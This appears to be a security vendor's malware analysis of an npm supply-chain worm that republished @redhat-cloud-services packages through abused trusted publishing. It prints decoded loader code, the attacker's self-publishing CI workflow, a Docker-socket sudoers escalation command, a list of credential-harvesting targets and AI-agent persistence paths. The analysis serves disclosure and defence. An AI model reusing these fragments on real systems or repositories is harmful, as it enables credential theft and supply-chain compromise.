Mini Shai-Hulud "Miasma: The Spreading Blight" Hits @redhat-cloud-services: Multiple Packages at Risk

SafeDep Team
11 min read

Table of Contents

TL;DR

On June 1, 2026, an attacker abused npm’s GitHub Actions trusted publishing to ship malicious versions of 32 @redhat-cloud-services packages, 64 versions in total, every one carrying valid npm provenance. The root cause is in the provenance itself: npm binds trusted publishing to a repository plus a workflow filename, not to a branch. The attacker pushed short-lived oidc-<hex> branches to three RedHatInsights repositories (javascript-clients, frontend-components, platform-frontend-ai-toolkit), and on each branch rewrote the trusted CI workflow into a self-publishing job that ran a Bun worm with id-token: write. The worm exchanged the workflow’s OIDC token for npm publish tokens, then for each target repackaged the legitimate tarball with a malicious preinstall hook and republished it, provenance and all. The publishes came in two waves about three hours apart; the first wave was later unpublished, but the second wave is still the live latest for every affected package, so upgrading to the latest patch installs the payload.

The injected preinstall runs a 4.3 MB index.js that ROT-9 decodes a loader, AES-128-GCM decrypts a 634 KB Bun script, downloads the Bun runtime from GitHub, and executes it. The payload scans for AWS, Azure, GCP, HashiCorp Vault, Kubernetes, npm, GitHub, and password manager secrets, exfiltrates them to attacker-created public GitHub repositories, and self-propagates using the stolen credentials. [email protected] is the sample analyzed below; the full list of affected packages and versions is in the table at the end of this post.

Impact:

  • Executes on npm install before any other code runs, including in CI
  • Harvests cloud credentials (AWS IMDS, ECS, Secrets Manager, SSM; Azure managed identity; GCP service accounts), Vault tokens, Kubernetes service account tokens, GitHub PATs, npm tokens, and Bitwarden/gopass vaults
  • Exchanges GitHub Actions OIDC tokens for npm publish tokens and signs malicious artifacts via Sigstore
  • Self-propagates by injecting .github/workflows/codeql.yml into accessible repositories and republishing tampered npm tarballs
  • Attempts Docker socket container escape and installs AI-agent persistence

Indicators of Compromise (IoC):

  • Package: @redhat-cloud-services/[email protected]
  • Tarball SHA256: 031ba872d5a84bfb18115f432811e4b45180346a1bae653f7fd85f918e7bb3a3
  • index.js SHA256: df1732f5bfec12e066be44dee02ec8a243e4868d38672c1b1d065359dd735a14
  • Decrypted payload SHA256: 0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35
  • Hardcoded AES-128-GCM keys: fe0d71d57ecf4fa0a433185bf59a03f5, f5e5dca9b725ec18514c4b322ed35d2b
  • Bun download: github.com/oven-sh/bun/releases/download/bun-v1.3.13/
  • Runtime artifacts: /tmp/p<random>.js, /tmp/b-<random>/bun, /tmp/kitty-<random>
  • Worm fingerprints: branch chore/add-codeql-static-analysis, injected .github/workflows/codeql.yml, pinned actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd, .claude/settings.json and .vscode/tasks.json persistence
  • Exfil repo description: Miasma: The Spreading Blight
  • Anti-analysis env vars: __FAKE_PLATFORM__, TESTING_TAR_FAKE_PLATFORM, __IS_DAEMON, SKIP_DOMAIN

The injection is one line in package.json

The diff between 4.0.3 and 4.0.4 is small. The attacker added a preinstall hook and nothing else in the manifest:

package/package.json
"scripts": {
"doc": "typedoc"
"doc": "typedoc",
"preinstall": "node index.js"
},

preinstall runs before dependency resolution finishes and before any application code. On a developer laptop or a CI runner, npm install is enough to trigger the full chain. The main entry point still points at ./index.js, the package’s normal barrel file, except that file is no longer a barrel file. In 4.0.3 it is 7.9 KB of Object.defineProperty re-exports. In 4.0.4 it is 4.3 MB:

Terminal window
$ ls -la clean/index.js malicious/index.js
-rw-r--r-- 7926 clean/index.js
-rw-r--r-- 4294136 malicious/index.js
$ grep -c "viewSystemsAdvisories" malicious/index.js
0

The attacker removed the original exports and replaced the entire API surface.

Layer 1: ROT-9 over a char-code array

index.js is a single statement. It maps a character-code array through String.fromCharCode, joins the result, Caesar-shifts by 9, and passes everything to eval:

// package/index.js (4.0.4), truncated
try {
eval(
(function (s, n) {
return s.replace(/[a-zA-Z]/g, function (c) {
var b = c <= 'Z' ? 65 : 97;
return String.fromCharCode(((c.charCodeAt(0) - b + n) % 26) + b);
});
})(
[40, 114, 106, 112, 101, 116, 40, 41, 61, 62, 123 /* 1,272,397 entries */]
.map(function (c) {
return String.fromCharCode(c);
})
.join(''),
9
)
);
} catch (e) {
console.log('wrapper:', e.message || e);
}

Decoding the array as data (never executing it) yields an async loader. It imports node:crypto and defines an AES-128-GCM helper, then decrypts two embedded blobs with hardcoded keys:

// layer 1, ROT-9 decoded
const _c=await import("node:crypto");
const _d=(k,i,a,c)=>{const d=_c.createDecipheriv("aes-128-gcm",
Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:16});
d.setAuthTag(Buffer.from(a,"hex"));
return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()])};
const _b=_d("fe0d71d57ecf4fa0a433185bf59a03f5", /* iv, tag */ , /* 899 bytes */ ).toString("utf8")
const _p=_d("f5e5dca9b725ec18514c4b322ed35d2b", /* iv, tag */ , /* 634 KB */ ).toString("utf8")

Static decryption of both blobs reproduces the published IoC hashes, confirming the keys:

Terminal window
$ sha256sum blob_p_payload.js
0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35

Layer 2: download Bun, run the payload

The loader writes the larger blob (_p) to a random temp file and runs it under Bun. If Bun is not already present, it first evaluates the smaller blob (_b), which defines getBunPath():

// layer 1 tail, decoded
const t = '/tmp/p' + Math.random().toString(36).slice(2) + '.js';
_fs.writeFileSync(t, _p);
if (typeof Bun !== 'undefined') {
_cp.execSync('bun run "' + t + '"', { stdio: 'inherit' });
} else {
await (0, eval)(_b);
_cp.execSync('"' + getBunPath() + '" run "' + t + '"', { stdio: 'inherit' });
}

getBunPath() downloads a pinned Bun release straight from the official GitHub mirror, unzips it to a temp directory, and marks it executable:

// blob _b, decoded
const url = 'https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-' + os + '-' + a + '.zip';
execSync('curl -sSL "' + url + '" -o "' + zip + '"', { stdio: 'pipe' });
execSync('unzip -j -o "' + zip + '" -d "' + dir + '"', { stdio: 'pipe' });
chmodSync(exe, '755');

The attacker ran the payload under Bun rather than Node. Bun bundles its own TypeScript runtime, fetch, crypto, and shell, so the worm doesn’t touch the victim’s Node installation.

The payload: a multi-cloud credential harvester

The attacker obfuscated the 634 KB payload with two stacked ciphers. The outer layer uses the obfuscator.io string-array scheme: hex-named variables, a self-rotating string table (2,219 entries, rotated to checksum 0x85d3f), and a custom base64 alphabet (abc…xyzABC…XYZ0-9+/). The inner layer sits beneath it: a PBKDF2 + SHA-256-keystream S-box cipher installed onto globalThis["f4abccab2"] under a name pulled from the string array at runtime. PBKDF2 derives a 32-byte master key from hardcoded seed P9 and salt N9 at 200,000 iterations; decryption then runs three rounds of per-index SHA-256-keystream S-box substitution with plaintext chaining. Static analysis resolved all 1,577 string-array references and 371 globalThis["f4abccab2"] calls where the argument is a literal.

// blob _p, obfuscated head
const _0x25ad85=_0x1d69;(function(_0x30549e,_0x324baa){
const _0x405481=_0x30549e();while(!![]){try{ /* checksum rotation */ }}}(_0x43e5,0x85d3f));

Decode the 2,219 string-table entries statically (base64 with the custom alphabet, no execution) and you recover the literal set the payload operates on:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv2 (PUT token first, then GET)
http://169.254.170.2 # ECS task metadata
secretsmanager:GetSecretValue( / secretsmanager:ListSecrets # AWS Secrets Manager
https://login.microsoftonline.com/ / https://graph.microsoft.com # Azure
https://www.googleapis.com/auth/cloud-platform # GCP
http://127.0.0.1:8200 / /v1/auth/kubernetes/login # HashiCorp Vault
/var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes SA token
https://registry.npmjs.org/-/npm/v1/tokens / /-/whoami # npm tokens
collectBitwarden / unlockBitwarden / gopass # password managers

The table also lists the environment variables the worm reads (129 process.env accesses in total), including NPM_TOKEN, GITHUB_TOKEN, CIRCLE_TOKEN, VAULT_ADDR, AWS_REGION, and ANTHROPIC_API_KEY. AWS access key IDs are matched on the AKIA prefix. Beyond environment variables, the worm reads ~/.npmrc, ~/.netrc, and shell and database history files from disk. It also runs TruffleHog-style regex scans against harvested text: gh[op]_ and npm_ token prefixes, AKIA AWS key IDs, GCP service account JSON, Azure connection strings, Stripe sk_/pk_ keys, and database connection strings. The worm targets credentials from approximately 40 CI providers, including CircleCI, Travis CI, Jenkins, GitLab CI, Buildkite, and Vercel.

Self-propagation: npm republish and CI workflow injection

Two propagation paths sit in the same string table.

For npm, the payload calls the OIDC token exchange and whoami endpoints, repackages a tarball (updateTarball, package-updated.tgz), and signs the artifact through Sigstore. Stolen credentials exfiltrate to attacker-created public GitHub repositories, each carrying the description Miasma: The Spreading Blight. GitHub API calls use a spoofed User-Agent: python-requests/2.31.0 header to blend with typical automation traffic. The string table also contains Fulcio and Rekor hosts alongside provenance schema URLs:

https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
https://fulcio.sigstore.dev / https://rekor.sigstore.dev
https://slsa.dev/provenance/v1

For GitHub, the worm enumerates repositories the token can write to, reads action.yml/action.yaml via GraphQL, and commits a workflow through the createCommitOnBranch mutation so the commit appears as a verified, signed change. The branch name, target file, and pinned Action commit are fixed:

chore/add-codeql-static-analysis
.github/workflows/codeql.yml
actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd

The injected workflow pins actions/checkout to a specific commit hash rather than a tag, which looks like responsible supply-chain hygiene. A pull request claiming to add CodeQL static analysis reads as a security improvement, the kind of change a maintainer approves without close review.

Container escape, EDR awareness, and AI-agent persistence

Beyond credential theft, the payload attempts privilege escalation. If it can reach the Docker socket, it launches a container that bind-mounts the host /etc/sudoers.d and grants the CI runner passwordless sudo:

/var/run/docker.sock
/etc/sudoers.d:/mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner
sudo tee /etc/resolv.conf > /dev/null

It checks for endpoint protection before acting, probing for CrowdStrike, SentinelOne, Carbon Black, and StepSecurity Harden-Runner:

detectHardenRunner / harden-runner
/opt/CrowdStrike / falcon-sensor / /opt/sentinelone / /opt/carbonblack

It also checks environment variables before executing sensitive operations. If __FAKE_PLATFORM__, TESTING_TAR_FAKE_PLATFORM, __IS_DAEMON, or SKIP_DOMAIN are set, the payload suppresses specific behaviors. The tripwire keeps the worm quiet inside automated analysis environments while it runs in production.

For persistence, the payload targets developer tooling. The string table includes .claude/settings.json with a SessionStart reference and .vscode/tasks.json, the same AI-agent and editor hijack pattern SafeDep documented in the Mini Shai-Hulud campaign, plus the /tmp/kitty- daemon path from that toolkit.

Root cause: how malicious versions shipped with valid provenance

Every malicious version carries a valid npm provenance attestation. The attestation is the artifact that explains the compromise, because it records the exact repository, workflow, commit, and trigger that minted the publish token. Pull the SLSA predicate for the malicious [email protected] and compare it to the clean 4.0.3:

Terminal window
$ curl -s "https://registry.npmjs.org/-/npm/v1/attestations/@redhat-cloud-services%[email protected]" \
| jq '.attestations[] | select(.predicateType|test("slsa")) | .bundle.dsseEnvelope.payload | @base64d | fromjson | .predicate.buildDefinition.externalParameters.workflow'
{
"ref": "refs/heads/oidc-4d5900f3", # 4.0.4 (malicious)
"repository": "https://github.com/RedHatInsights/javascript-clients",
"path": ".github/workflows/ci.yml"
}
# clean 4.0.3 for contrast:
{ "ref": "refs/heads/main", "repository": ".../javascript-clients", "path": ".github/workflows/ci.yml" }

Same repository, same workflow path, same push trigger. The only difference is the ref: 4.0.3 was built from refs/heads/main, 4.0.4 from refs/heads/oidc-4d5900f3, a branch that no longer exists (git/ref/heads/oidc-4d5900f3 returns 404). The head commit 608d011 is unsigned, persists as a dangling object, and added exactly two files.

The attacker rewrote the publish workflow on a throwaway branch

Diffing ci.yml at 608d011 against main shows the entire CI pipeline replaced with a single self-publishing job:

# .github/workflows/ci.yml @ 608d011 (attacker branch oidc-4d5900f3)
name: release
on:
push:
branches: ['*'] # main only triggers on [main]; this fires on ANY branch
jobs:
release:
permissions:
id-token: write # request the OIDC token used for trusted publishing
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: '@redhat-cloud-services/compliance-client, ...patch-client... (15 packages)'
WORKFLOW_ID: 'ci.yml'
REPO_ID_SUFFIX: 'RedHatInsights/javascript-clients'

The commit also added _index.js: a 4.2 MB file with the same try{eval(function(s,n)... ROT-9 wrapper as the dropper. It is the worm. Run inside the workflow with id-token: write, it reads the OIDC_PACKAGES list, exchanges the GitHub Actions OIDC token for an npm publish token through https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/, then for each target downloads the legitimate tarball, injects the preinstall hook and the dropper index.js, and republishes with provenance.

Why npm accepted the token

npm GitHub Actions trusted publishing binds trust to repository plus workflow filename, not to a branch, ref, or protected environment. The OIDC certificate minted for the malicious run carries the subject repo:RedHatInsights/javascript-clients:ref:refs/heads/oidc-4d5900f3 and the SAN .../ci.yml@refs/heads/oidc-4d5900f3. Because the workflow filename (ci.yml) matched the registered publisher, npm issued the publish right and signed provenance for it. The branch the workflow ran from was never checked. Provenance attests to how a package was built, not that the build was authorized, so npm audit signatures reports these malicious versions as verified.

Blast radius: three repositories, two waves each

The same pattern repeated across three RedHatInsights repositories, each with its own pair of throwaway oidc-<hex> branches. Provenance refs from the attestations:

RepositoryWorkflowBranchesPackages
javascript-clientsci.ymloidc-4d5900f3, oidc-6523a11b15 (14 *-client + javascript-clients-shared)
frontend-componentsci.yamloidc-61fff775, oidc-af10000d14 (chrome, frontend-components*, types, …)
platform-frontend-ai-toolkitrelease.ymloidc-2530ec68, oidc-93b9a9553 (hcc-*-mcp)

Each repo got two runs roughly three hours apart. The first wave (e.g. [email protected]) was unpublished afterward; the second wave (e.g. [email protected]) bumped the next patch number and remains the live latest. Across 32 packages that is 64 malicious versions, and for every package the current latest on npm is the second-wave payload. [email protected], [email protected], and [email protected] all ship the preinstall dropper and a ~4 MB index.js. Upgrading to the latest patch installs the payload rather than removing it.

Initial access remains the open question

The provenance proves the publish path. It does not prove how the attacker got write access to push branches into three RedHatInsights repositories. The head commits are unsigned and attributed to a real Red Hat engineer (justinorringer), but git author metadata is forgeable and normal pushes to these repos come from automation (nacho-bot, platex-rehor-bot), not that account.

redhat-cloud-services-packages.csv
EcosystemPackageVersion
1npm@redhat-cloud-services/chrome2.3.1
2npm@redhat-cloud-services/compliance-client4.0.3
3npm@redhat-cloud-services/config-manager-client5.0.4
4npm@redhat-cloud-services/entitlements-client4.0.11
5npm@redhat-cloud-services/eslint-config-redhat-cloud-services3.2.1
6npm@redhat-cloud-services/frontend-components7.7.2
7npm@redhat-cloud-services/frontend-components-advisor-components3.8.2
8npm@redhat-cloud-services/frontend-components-config6.11.3
9npm@redhat-cloud-services/frontend-components-config-utilities4.11.2
10npm@redhat-cloud-services/frontend-components-notifications6.9.2
11npm@redhat-cloud-services/frontend-components-remediations4.9.2
12npm@redhat-cloud-services/frontend-components-testing1.2.1
13npm@redhat-cloud-services/frontend-components-translations4.4.1
14npm@redhat-cloud-services/frontend-components-utilities7.4.1
15npm@redhat-cloud-services/hcc-feo-mcp0.3.1
16npm@redhat-cloud-services/hcc-kessel-mcp0.3.1
17npm@redhat-cloud-services/hcc-pf-mcp0.6.1
18npm@redhat-cloud-services/host-inventory-client5.0.3
19npm@redhat-cloud-services/insights-client4.0.4
20npm@redhat-cloud-services/integrations-client6.0.4
21npm@redhat-cloud-services/javascript-clients-shared2.0.8
22npm@redhat-cloud-services/notifications-client6.1.4
23npm@redhat-cloud-services/patch-client4.0.4
24npm@redhat-cloud-services/quickstarts-client4.0.11
25npm@redhat-cloud-services/rbac-client9.0.3
26npm@redhat-cloud-services/remediations-client4.0.4
27npm@redhat-cloud-services/rule-components4.7.2
28npm@redhat-cloud-services/sources-client3.0.10
29npm@redhat-cloud-services/topological-inventory-client3.0.10
30npm@redhat-cloud-services/tsc-transform-imports1.2.2
31npm@redhat-cloud-services/types3.6.1
32npm@redhat-cloud-services/vulnerabilities-client2.1.8
33npm@redhat-cloud-services/tsc-transform-imports1.2.4
34npm@redhat-cloud-services/types3.6.2
35npm@redhat-cloud-services/eslint-config-redhat-cloud-services3.2.2
36npm@redhat-cloud-services/frontend-components-testing1.2.2
37npm@redhat-cloud-services/frontend-components-remediations4.9.3
38npm@redhat-cloud-services/frontend-components-config6.11.4
39npm@redhat-cloud-services/frontend-components-config-utilities4.11.3
40npm@redhat-cloud-services/chrome2.3.2
41npm@redhat-cloud-services/frontend-components-translations4.4.2
42npm@redhat-cloud-services/frontend-components-notifications6.9.3
43npm@redhat-cloud-services/rule-components4.7.3
44npm@redhat-cloud-services/frontend-components-advisor-components3.8.4
45npm@redhat-cloud-services/frontend-components-utilities7.4.2
46npm@redhat-cloud-services/frontend-components7.7.3
47npm@redhat-cloud-services/entitlements-client4.0.12
48npm@redhat-cloud-services/config-manager-client5.0.5
49npm@redhat-cloud-services/quickstarts-client4.0.12
50npm@redhat-cloud-services/integrations-client6.0.5
51npm@redhat-cloud-services/javascript-clients-shared2.0.9
52npm@redhat-cloud-services/notifications-client6.1.5
53npm@redhat-cloud-services/patch-client4.0.5
54npm@redhat-cloud-services/sources-client3.0.11
55npm@redhat-cloud-services/host-inventory-client5.0.4
56npm@redhat-cloud-services/vulnerabilities-client2.1.9
57npm@redhat-cloud-services/rbac-client9.0.4
58npm@redhat-cloud-services/remediations-client4.0.5
59npm@redhat-cloud-services/insights-client4.0.5
60npm@redhat-cloud-services/compliance-client4.0.4
61npm@redhat-cloud-services/topological-inventory-client3.0.11
62npm@redhat-cloud-services/hcc-kessel-mcp0.3.2
63npm@redhat-cloud-services/hcc-pf-mcp0.6.2
64npm@redhat-cloud-services/hcc-feo-mcp0.3.2
64 rows
| 3 columns

References

  • npm
  • oss
  • malware
  • supply-chain
  • shai-hulud

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.